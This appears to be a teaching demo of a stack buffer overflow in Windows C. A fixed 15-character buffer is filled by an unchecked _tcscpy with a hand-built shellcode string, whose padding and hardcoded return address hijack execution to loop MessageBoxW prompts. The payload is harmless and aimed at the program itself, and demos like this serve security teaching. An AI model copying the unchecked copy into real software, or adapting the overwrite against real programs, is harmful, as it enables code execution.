#if !defined(UNICODE)
#define UNICODE
#endif
#if !defined(_UNICODE)
#define _UNICODE
#endif
#include <tchar.h>
#include <windows.h>
#ifdef _DEBUG
char SZ_INPUT[]="\x6a\x01\x33\xc0"
"\x50\x50\x50\xff"
"\x15\xa4\x52\x42"
"\x00\x48\x85\xc0"
"\x74\xee\xf2\x90"
"\xeb\xfc\x32\x31"
"\x31\x31\x31\x31"
"\x31\x31\x31\x31"
"\x31\x31\x31\x31"
"\x30\x2a\x42\x00"
"\x00";
#else
char SZ_INPUT[]="\x6a\x01\x33\xc0"
"\x50\x50\x50\xff"
"\x15\xa4\x60\x40"
"\x00\x48\x85\xc0"
"\x74\xee\xf2\x90"
"\xeb\xfc\x32\x31"
"\x31\x31\x31\x31"
"\x31\x31\x31\x31"
"\x31\x31\x31\x31"
"\x30\x70\x40\x00"
"\x00";
#endif // _DEBUG
void foo()
{
_asm{
TAG_LOOP:
push MB_OKCANCEL
xor eax, eax
push eax
push eax
push eax
call MessageBoxW
dec eax
test eax, eax
nop
jz TAG_LOOP
TAG_HALT:
pause
jmp TAG_HALT
}
}
void HandleInput(LPCTSTR lpszInput)
{
TCHAR szBuffer[15];
_tcscpy(szBuffer, lpszInput);
OutputDebugString(szBuffer);
if(_tcslen(szBuffer))
{
int n[10000];
n[0] = 1;
}
}
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE, char* lpCmdLine, int nCmdShow){
MessageBox(NULL, _T("A sampel of demo buffer overflow attack."),_T("AdvDBG"),MB_OK);
HandleInput((LPCTSTR)SZ_INPUT);
return 0;
}